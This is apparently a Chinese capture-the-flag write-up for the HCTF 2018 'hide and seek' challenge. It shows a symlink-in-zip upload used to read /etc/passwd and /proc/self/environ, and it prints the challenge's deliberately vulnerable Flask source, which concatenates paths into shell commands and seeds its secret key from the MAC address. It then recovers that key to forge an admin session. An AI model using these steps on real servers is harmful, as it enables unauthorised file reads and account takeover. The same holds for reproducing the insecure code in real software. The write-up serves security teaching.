技术改变世界,文化改变人心

HCTF 2018 hide and seek复盘

HCTF 2018 hide and seek复盘

解题过程

  1. 发现admin无法登录,在用户名和密码随便输入以后,进入到可以上传zip文件的地方

  2. 看到zip文件上传,联想到软连接读取文件,所以构造payload

    1
    2
    ln -s /etc/passwd get.jpg
    压缩jpg文件,上传
  3. uwsgi可以在/proc/self/environ中读取到flask应用的路径

    1
    UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=de551d07df6dSHLVL=1PYTHON_PIP_VERSION=19.0.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2TERM=xtermNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
  1. 之后可以发现有配置文件/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

  2. 读取配置文件

    1
    [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
  3. 发现了flask的应用文件,所以读取hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    # -*- coding: utf-8 -*-
    from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
    import uuid
    import base64
    import random
    from werkzeug.utils import secure_filename
    import os
    random.seed(uuid.getnode())
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(random.random()*100)
    app.config['UPLOAD_FOLDER'] = './uploads'
    app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
    ALLOWED_EXTENSIONS = set(['zip'])

    flag = 'flag{you_are_good}'

    def allowed_file(filename):
    return '.' in filename and \
    filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


    @app.route('/', methods=['GET'])
    def index():
    error = request.args.get('error', '')
    if(error == '1'):
    session.pop('username', None)
    return render_template('index.html', forbidden=1)

    if 'username' in session:
    return render_template('index.html', user=session['username'], flag=flag)
    else:
    return render_template('index.html')


    @app.route('/login', methods=['POST'])
    def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
    if(username == 'admin'):
    return redirect(url_for('index',error=1))
    session['username'] = username
    return redirect(url_for('index'))


    @app.route('/logout', methods=['GET'])
    def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

    @app.route('/upload', methods=['POST'])
    def upload_file():
    if 'the_file' not in request.files:
    return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
    return redirect(url_for('index'))
    if file and allowed_file(file.filename):
    filename = secure_filename(file.filename)
    file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if(os.path.exists(file_save_path)):
    return 'This file already exists'
    file.save(file_save_path)
    else:
    return 'This file is not a zipfile'


    try:
    extract_path = file_save_path + '_'
    os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
    read_obj = os.popen('cat ' + extract_path + '/*')
    file = read_obj.read()
    read_obj.close()
    os.system('rm -rf ' + extract_path)
    except Exception as e:
    file = None

    os.remove(file_save_path)
    if(file != None):
    if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
    return redirect(url_for('index', error=1))
    return Response(file)


    if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)
  4. 发现uuid.getnode()是获取的设备mac地址,所以我们可以读取本机的mac地址,文件地址为:/sys/class/net/eth0,mac地址值为:02:42:ac:11:00:05

  5. 而seed是mac地址的10进制,所以我们可以获得随机数的种子,而这个随机数是伪随机数

    1
    2
    3
    4
    5
    6
    7
    import uuid
    import random

    mac = uuid.getnode()
    random.seed(mac)
    randStr = str(random.random()*100)
    print randStr

    可以运行后发现randStr = 60.1784037471,现在我们知道了key,就可以伪造admin的session了

  6. 伪造session为:eyJ1c2VybmFtZSI6ImFkbWluIn0.D3zEGw.d_B2Rg3BIDZEqpjeaWK8OMX9cN8,这个地方有个小坑,python2如果直接伪造的话,会发现伪造的session中成了b’admin’,必须把username前面加上u,让username变成unicode,才可以成功伪造

  7. 拿到flag

考点

  1. 软连接读文件
  2. 本地的文件:/proc/self/environ的内容,/sys/class/net/eth0
  3. flask session可以伪造